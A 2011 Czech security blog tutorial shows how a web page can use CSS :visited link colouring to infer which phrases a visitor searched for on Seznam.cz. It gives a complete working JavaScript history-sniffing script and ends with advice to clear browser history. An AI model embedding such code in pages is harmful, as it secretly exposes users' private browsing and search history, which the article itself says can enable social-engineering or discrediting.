Zpět na seznam článků     Číst komentáře (1)     Verze pro tisk

Útočný JavaScript (2)

Autor: .cCuMiNn.   
2.2.2011

Tentokrát pouze nepatrně upravíme kód skriptu z minulélo dílu, abychom dokázaly zjistit, které fráze (ze seznamu) byly hledány v konkrétním webovém vyhledávači.


Skript je založen na skutečnosti, že webový prohlížeč může obarvovat navštívené a nenavštívené odkazy různou barvou. Když k tomu přidáme fakt, že většina webových vyhledávačů předává hledaný řetězec ze vstupního pole metodou GET, nic nám nebrání ve vytvoření skriptu, který hledané fráze rozpozná.

Některé vyhledávače vkládají do URI mimo jiné také jedinečné id, které podobným technikám dokáže zabránit. Já k demonstraci využiji webový vyhlednávač Seznam.cz, který při vyhledávání na své homepage vrací URI v této podobě:
http://search.seznam.cz/?sourceid=szn-HP&thru=&q=soom.cz

Stačí tedy, abych testoval navštívení jednotlivých linků, ve kterých budu postupně zaměňovat hodnotu proměnné q.

Zjišťováním hledaných frází na Seznam.cz je možné určit pouze řetězce hledané přímo na homepage www.seznam.cz. Při následném hledání na subdoméně search.seznam.cz, je již do URI vkládáno jedinečné id. Uvedený kód je stejně jako minule fukční jen v prohlížečích Firefox / Mozilla.


  1. <html>
  2.  <head>
  3.    <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
  4.    <meta http-equiv="Content-Language" content="cs">
  5.    <link rel="StyleSheet" href="http://www.soom.cz/base.css" type="text/css">
  6.  </head>
  7.  <body>
  8.   <H3>Hledané na www.seznam.cz</H3>
  9.   <ul id="searched"></ul>
  10.   <H3>Nehledané</H3>
  11.   <ul id="notsearched"></ul>
  12.   <script>
  13.    /* Seznam frází, které budou prověřeny */
  14.    var words = [ "soom.cz", "hacking", "cracking", "javascript", "backdoor", "keylogger", "exploit"];
  15.    /* Cyklus pro všechny fráze ze seznamu */
  16.    for (var i = 0; i < words.length; i++) {
  17.    /* Vytvoření odkazu na searchlink s frází ze seznamu */
  18.    var link = document.createElement("a");
  19.    link.id = "id" + i;
  20.    link.href = "http://search.seznam.cz/?sourceid=szn-HP&thru=&q=" + words[i];
  21.    link.innerHTML = words[i];
  22.    /* Vytvoření vlastního stylu odkazu pro speifický link. Nastaví CSS visited
  23.       selector na známou hodnotu, v tomto případě červenou. */
  24.    document.write('<style>');
  25.     document.write('#id' + i + ":visited {color: #FF0000;}");
  26.     document.write('</style>');
  27.     /* Přidá odkaz do DOM, zjistí jeho barvu a zase jej odebere z DOM */
  28.     document.body.appendChild(link);
  29.     var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
  30.     document.body.removeChild(link);
  31.     /* Zjištění zda byl odkaz navštíven, zda je jeho barva červená */
  32.     if (color == "rgb(255, 0, 0)") { // hledáno
  33.      /* Přidá frázi mezi hledané */
  34.      var item = document.createElement('li');
  35.      item.appendChild(link);
  36.      document.getElementById('searched').appendChild(item);
  37.     } else { // nehledáno
  38.      /* Přidá frázi mezi nehledané */
  39.      var item = document.createElement('li');
  40.      item.appendChild(link);
  41.      document.getElementById('notsearched').appendChild(item);
  42.     }
  43.    }
  44.   </script>
  45.  </body>
  46. </html>

Činnost skriptu demonstruje následující rám:




V čem může být znalost navštívených www stránek nebo hledaných slov nebezpečná? O běžném člověku je tímto způsobem možné získat informace důležité například pro následný sociotechnický útok. Jiní, kteří na internetu navštěvují stránky, které by "neměli", mohou být tímto způsobem zdiskreditováni.

Podobně jako při zjišťování navštívených URL adres z minulého dílu, je i v nyní vhodné pravidelně promazávat historii navštívených stránek. V opačném případě se můžete stát obětí podobného útoku. Vyčištění historie je možné v browseru provést jednak manuálně, ale také automaticky při každém jeho vypnutí.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1/6

1  2  3  4  5    
(známkování jako ve škole)